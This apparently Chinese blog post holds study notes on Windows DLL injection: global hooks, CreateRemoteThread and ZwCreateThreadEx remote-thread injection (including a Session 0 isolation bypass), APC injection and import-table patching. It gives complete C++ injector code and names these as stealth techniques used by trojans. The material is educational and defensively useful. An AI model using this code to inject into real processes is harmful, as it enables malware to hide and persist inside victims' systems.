[笔记]Windows安全之《三》注入技术之DLL注入

1,405 阅读12分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第2天

参考: 《windows黑客编程》

前言

注入技术: 注入技术(进程注入)是一种广泛使用的躲避检测的技术,通常用于恶意软件或者无文件技术。其需要在另一个进程的地址空间内运行特制代码,进程注入改善了不可见性,同时一些技术也实现了持久性。

Shellcode注入和dll注入对比:

  • DLL的简单易用
  • DLL不需要像Shellcode那样要获取kernel32.dl加载基址并根据导出表获取导出函数地址。
  • DLL成功注入,则表示DLL已成功加载到目标进程空间中,其导入表、导出表、重定位表等均已加载和修改完毕,DLL中的代码可以正常执行。

常见DLL注入技术:

  • 全局钩子:利用全局钩子的机制
  • 远线程钩子: 利用CreateRemoteThread和LoadLibrary函数参数的相似性。
  • 突破SESSION0隔离的远线程注入:利用ZwCreateThreadEx函数的底层性。
  • APC注入:利用APC的机制。
  • DLL静态注入

全局钩子

定义

windows钩子:用来截获和监视Windows系统的消息机制的消息的一种机制.

钩子分类:

  • 局部钩子:针对某个线程的
  • 全局钩子:作用于整个系统的基于消息的应用,全局钩子需要使用DLL,DLL实现相应的钩子函数

函数介绍

SetWindowsHookEx函数

设置hook钩子

WINUSERAPI
HHOOK
WINAPI
SetWindowsHookExA(
    __in int idHook,
    __in HOOKPROC lpfn,
    __in_opt HINSTANCE hmod,
    __in DWORD dwThreadId
 );

idHook:表示钩子的类型

lpFn:钩子回调函数

hmod:包含钩子回调函数的DLL模块句柄,如果要设置全局钩子,则该参数必须指定DLL模块句柄。

dwThreadId:与钩子关联的线程D,0表示为全局钩子,它关联所有线程。

UnhookWindowsHookEx函数

卸载Hook

WINUSERAPI
BOOL
WINAPI
UnhookWindowsHookEx(
    __in HHOOK hhk
);

编写基本思路

  1. 创建钩子dll,dll dllmain中调用SetGlobalHook和UnsetGlobalHook
  2. 目标exe载入dll
  3. 钩子dll回调函数监听目的消息

代码

GlobalHook_Load_Test.dll dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <stdio.h>

extern HMODULE g_hDllModule;
// 共享内存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")

HMODULE g_hDllModule = NULL;

// 钩子回调函数
LRESULT GetMsgProc(
	int code,
	WPARAM wParam,
	LPARAM lParam)
{
	if (code == WM_KEYDOWN && wParam == VK_HOME)//按下home键
	{
		MessageBox(NULL, "get msg process", "tips", 0);
	}

	return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}

// 卸载钩子
BOOL UnsetGlobalHook()
{
	if (g_hHook)
	{
		::UnhookWindowsHookEx(g_hHook);
		//MessageBox(NULL,"unload hook\n","tips",0);
		printf("unload hook\n");
	}
	return TRUE;
}

// 设置全局钩子
BOOL SetGlobalHook()
{
	g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);

	if (NULL == g_hHook)
	{
		return FALSE;
	}
	printf("set hook\n");
	//MessageBox(NULL, "set hook\n", "tips", 0);
	return TRUE;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		g_hDllModule = hModule;
		SetGlobalHook();
		break;
	}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		g_hDllModule = NULL;
		UnsetGlobalHook();
		break;
	}
	return TRUE;
}

使用CodeInjector注入到某个exe中 加载便会运行dllmain。

提示:

user32.dl导出的gShareInfo全局变量可以枚举系统中所有全局钩子的信息,包括钩子的句柄、消息类型以及回调函数地址等。

PE结构的节属性Characteristics若包含MAGE SCN MEM SHARED标志,则表示该节在内存中是共享的。

也可以使用PCHunter查看全局钩子

远线程注入

定义

远线程注入:是指一个进程在另一个进程中创建线程的技术,是一种病毒木马所青睐的注入.

远线程注入目前有两种:

  • 传统的 (存在Session0隔离问题)
  • 新型的 (突破了Session0隔离问题)

先介绍传统的远线程注入方法。

函数介绍

OpenProcess函数

打开现有的本地进程对象

HANDLE OpenProcess( 
    [in] DWORD dwDesiredAccess, 
    [in] BOOL bInheritHandle, 
    [in] DWORD dwProcessId 
);

dwDesiredAddress: 访问进程对象。此访问权限为针对进程的安全描述符进行检查,此参数可以是一个或多个进程访问权限。如果调用该函数的进程启用了SeDebugPrivilege权限,则无论安全描述符的内容是什么,它都会授予所请求的访问权限。

bInheritHandle: 若此值为T℉UE,则此进程创建的进程将继承该句柄。否则,进程不会继承此句柄。

dwProcessld : 要打开的本地进程的PD。

返回值: 如果函数成功,则返回值是指定进程的打开句柄。 如果函数失败,则返回值为NULL。要想获取扩展的错误信息,请调用GetLastError.

VirtualAllocEx函数

在指定进程的虚拟地址空间内保留、提交或更改内存的状态。

LPVOID VirtualAllocEx(
    [in] HANDLE hProcess, 
    [in, optional] LPVOID lpAddress, 
    [in] SIZE_T dwSize, 
    [in] DWORD flAllocationType, 
    [in] DWORD flProtect 
);

hProcess: 过程的句柄。此函数在该进程的虚拟地址空间内分配内存,句柄必须具有PROCESS_VM_OPERATION权限.

lpAddress: 指定要分配页面所需起始地址的指针。如果lpAddress为NULL,则该函数自动分配内存。

dwSize: 要分配的内存大小,以字节为单位。

flAllocationType: 内存分配类型。此参数必须为以下值之一。

flProtect: 要分配的页面区域的内存保护。如果页面已提交,则可以指定任何一个内存保护常量。如果lpAddress指定了一个地址,则flProtect不能是以下值之一:

返回值:如果函数成功,则返回值是分配页面的基址。如果函数失败,则返回值为NULL。

WriteProcessMemory函数

在指定的进程中将数据写入内存区域,要写人的整个区域必须可访问,否则操作失败。

BOOL WriteProcessMemory( 
    [in] HANDLE hProcess, 
    [in] LPVOID lpBaseAddress, 
    [in] LPCVOID lpBuffer, 
    [in] SIZE_T nSize, 
    [out] SIZE_T *lpNumberOfBytesWritten 
);

hProcess: 要修改的进程内存的句柄。句柄必须具有PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限。

lpBaseAddress: 指向指定进程中写入数据的基地址指针。在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据是否可以进行写入访问,如果不可以访问,则该函数将失败。

lpBuffer: 指向缓冲区的指针,其中包含要写入指定进程的地址空间中的数据。

nSize: 要写入指定进程的字节数。

lpNumberOfBytesWritten: 指向变量的指针,该变量接收传输到指定进程的字节数。如果lpNumberOfBytes Written为NULL,则忽略该参数。

返回值:如果函数成功,则返回值不为零。 如果函数失败,则返回值为零。

CreateRemoteThread函数

在另一个进程的虚拟地址空间中创建运行的线程。

HANDLE CreateRemoteThread( 
    [in] HANDLE hProcess, 
    [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, 
    [in] SIZE_T dwStackSize, 
    [in] LPTHREAD_START_ROUTINE lpStartAddress, 
    [in] LPVOID lpParameter,
    [in] DWORD dwCreationFlags, 
    [out] LPDWORD lpThreadId 
);

hProcess: 要创建线程的进程的句柄。句柄必须具有PROCESS_CREATE_THREAD、PROCESS_QUERY_INFORMATION、PROCESS_VM _OPERATION、PROCESS_VM_WRITE和PROCESS_VM_READ访问权限。

lpThreadAttributes: 指向SECURITY ATTRIBUTES结构的指针,该结构指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。如果IpThreadAttributes为NULL,则线程将获得默认的安全描述符,并且不能继承该句柄。

dwStackSize: 堆栈的初始大小,以字节为单位。如果此参数为0,则新线程使用可执行文件的默认大小。

lpStartAddress: 指向由线程执行类型为LPTHREAD START ROUTINE的应用程序定义的函数指针,并表示远程进程中线程的起始地址,该函数必须存在于远程进程中。

lpParameter:指向要传递给线程函数的变量的指针。

dwCreationFlags:控制线程创建的标志。若是0,则表示线程在创建后立即运行。

lpThreadId:指向接收线程标识符的变量的指针。如果此参数为NULL,则不返回线程标识符。

返回值: 如果函数成功,则返回值是新线程的句柄。 如果函数失败,则返回值为NULL。

编写基本思路

基本思路都能想到用LoadLibrary载入dll

要解决俩问题: 1.如何找到LoadLibrary地址(由于Windows引入了基址随机化ASLR(Address Space Layout Randomization)安全机制,每次开机DLL加载的基地址都不一样)

有些系统DLL(例如kernel32.dl、ntdl.dl)的加载基地址,要求系统启动之后必须固定,如果系统重新启动,则其地址可以不同。也就是说,虽然进程不同,但是开机后,kernel32.d的加载基址在各个进程中都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址和其他进程空间的LoadLibrary函数地址相同。

2.如何向目标进程写入dll路径字符串(由于进程隔离访问,进程只能访问自身的内存)

直接调用VirtualA1 locEx函数在目标进程空间中申请一块内存,然后再调用WriteProcessMemory函数将指定的DLL路径写入到目标进程空间中,这样便解决了第二个问题。

具体:

  1. 使用GetProcAddress获得Kernel32.dll的LoadLibraryA的地址
  2. 在目标进程空间中用VirtualAllocEx和WriteProcessMemory创建要载入dll的路径字符串。
  3. 使用CreateRemoteThread在目标进程中启用LoadLibrary函数使用目标函数内部的路径字符串作为参数

代码实现

// 使用 CreateRemoteThread 实现远线程注入
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName)
{
	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;

	// 打开注入进程,获取进程句柄
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}
	// 在注入进程中申请内存
	dwSize = 1 + ::lstrlen(pszDllFileName);
	pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	// 向申请的内存中写入数据
	if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		ShowError("WriteProcessMemory");
		return FALSE;
	}
	// 获取LoadLibraryA函数地址
	pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		ShowError("GetProcAddress_LoadLibraryA");
		return FALSE;
	}
	// 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入
	HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
	if (NULL == hRemoteThread)
	{
		ShowError("CreateRemoteThread");
		return FALSE;
	}
	// 关闭句柄
	::CloseHandle(hProcess);

	return TRUE;
}

具体测试可使用codeinjector查看目标进程的dll

image.png

并且可在Test.dll即注入的dll中添加messagebox提示

image.png

突破SESSION 0隔离的远线程注入

病毒木马使用传统的远线程注入技术,可以成功向一些普通的用户进程注入DLL,但是,它们并不止步于此,却想注入到一些关键的系统服务进程中,使自己更加隐蔽,难以发现。

之前提到,由于SESSION0隔离机制,导致传统远线程注入系统服务进程失败。经过前人的不断逆向探索,发现直接调用ZwCreateThreadEx函数可以进行远线程注入,还可突破SESSION0隔离,成功注入。

定义

解决win7之后 内核6.0以后的windows的Session0隔离机制导致传统的远程注入无法注入问题

函数介绍

ZwCreateThreadEx函数

zwCreateThreadEx是内核函数,不对外导出的函数,需要ntdll.dll通过地址的方式获得.

这是反编译得到的函数:

typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		BOOL CreateSuspended,
		DWORD dwStackSize,
		DWORD dw1,
		DWORD dw2,
		LPVOID pUnkown);

ThreadHandle: 略

DesiredAccess:略

ObjectAttributes:略

ProcessHandle:略

lpStartAddress:略

lpParameter:略

CreateSuspended: CreateSuspended(CreateThreadFlags)值为1,它会导致线程创建完成后一直挂起无法恢复运行,置为零,这样线程创建完成后就会恢复运行.

dwStackSize:略

dw1:略

dw2:略

pUnkown:略

编写基本思路

基本思路同传统远线程注入

代码实现

// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName)
{
	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;
	HANDLE hRemoteThread = NULL;
	DWORD dwStatus = 0;

	// 打开注入进程,获取进程句柄
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}
	// 在注入进程中申请内存
	dwSize = 1 + ::lstrlen(pszDllFileName);
	pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	// 向申请的内存中写入数据
	if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		ShowError("WriteProcessMemory");
		return FALSE;
	}
	// 加载 ntdll.dll
	HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
	if (NULL == hNtdllDll)
	{
		ShowError("LoadLirbary");
		return FALSE;
	}
	// 获取LoadLibraryA函数地址
	pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		ShowError("GetProcAddress_LoadLibraryA");
		return FALSE;
	}
	// 获取ZwCreateThread函数地址
#ifdef _WIN64
	typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		ULONG CreateThreadFlags,
		SIZE_T ZeroBits,
		SIZE_T StackSize,
		SIZE_T MaximumStackSize,
		LPVOID pUnkown);
#else
	typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		BOOL CreateSuspended,
		DWORD dwStackSize,
		DWORD dw1,
		DWORD dw2,
		LPVOID pUnkown);
#endif
	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		ShowError("GetProcAddress_ZwCreateThread");
		return FALSE;
	}
	// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
	if (NULL == hRemoteThread)
	{
		ShowError("ZwCreateThreadEx");
		return FALSE;
	}
	// 关闭句柄
	::CloseHandle(hProcess);
	::FreeLibrary(hNtdllDll);

	return TRUE;
}

APC注入

定义

APC(Asynchronous Procedure Call)为异步过程调用,是指函数在特定线程中被异步执行。 在Microsoft Windows操作系统中,APC是一种并发机制,用于异步IO或者定时器。 每一个线程都有自己的APC队列,使用QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该线程处于可通知状态,调用的顺序为先入先出(FFO)。 本节接下来将介绍如何利用QueueUserAPC函数向线程插入APC,实现DLL注入。

APC机制 docs.microsoft.com/en-us/windo…

函数介绍

QueueUserAPC函数

// 将异步调用函数添加到指定线程的APC队列中
DWORD QueueUserAPC(
  PAPCFUNC  pfnAPC, // 函数指针
  HANDLE    hThread, // 线程句柄
  ULONG_PTR dwData // 函数参数
);
// 详细信息可参阅msdn
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc

编写基本思路

基本思路同远程注入: 1.获得LoadLibrary地址,并且目标进程创建内存存储Dll路径 2.通过 QueueUserAPC向目标进程的现有线程添加APC任务去执行LoadLibrary 从而注入DLL

代码实现

// APC注入
BOOL ApcInjectDll(char *pszProcessName, char *pszDllName)
{
	BOOL bRet = FALSE;
	DWORD dwProcessId = 0;
	DWORD *pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	HANDLE hProcess = NULL, hThread = NULL;
	PVOID pBaseAddress = NULL;
	PVOID pLoadLibraryAFunc = NULL;
	SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
	DWORD i = 0;

	do
	{
		// 根据进程名称获取PID
		dwProcessId = GetProcessIdByProcessName(pszProcessName);
		if (0 >= dwProcessId)
		{
			bRet = FALSE;
			break;
		}

		// 根据PID获取所有的相应线程ID
		bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
		if (FALSE == bRet)
		{
			bRet = FALSE;
			break;
		}

		// 打开注入进程
		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
		if (NULL == hProcess)
		{
			ShowError("OpenProcess");
			bRet = FALSE;
			break;
		}

		// 在注入进程空间申请内存
		pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (NULL == pBaseAddress)
		{
			ShowError("VirtualAllocEx");
			bRet = FALSE;
			break;
		}
		// 向申请的空间中写入DLL路径数据 
		::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
		if (dwRet != dwDllPathLen)
		{
			ShowError("WriteProcessMemory");
			bRet = FALSE;
			break;
		}

		// 获取 LoadLibrary 地址
		pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
		if (NULL == pLoadLibraryAFunc)
		{
			ShowError("GetProcessAddress");
			bRet = FALSE;
			break;
		}

		// 遍历线程, 插入APC
		for (i = 0; i < dwThreadIdLength; i++)
		{
			// 打开线程
			hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
			if (hThread)
			{
				// 插入APC
				::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
				// 关闭线程句柄
				::CloseHandle(hThread);
				hThread = NULL;
			}
		}

		bRet = TRUE;

	} while (FALSE);

	// 释放内存
	if (hProcess)
	{
		::CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (pThreadId)
	{
		delete[]pThreadId;
		pThreadId = NULL;
	}

	return bRet;
}

DLL静态注入

dll静态注入是指 通过PE修改导入表的方式实现,可以使用的方法是:

  • 使用lordPE手动修改创建节空间 修改导入表
  • 使用studyPE直接一键导入dll进入导入表

总结

  • 全局钩子:利用Windows消息机制和挂钩机制
  • 远线程钩子: 利用CreateRemoteThread和LoadLibrary函数参数的相似性。
  • 突破SESSION0隔离的远线程注入:利用ZwCreateThreadEx函数的底层性。
  • APC注入:利用APC机制。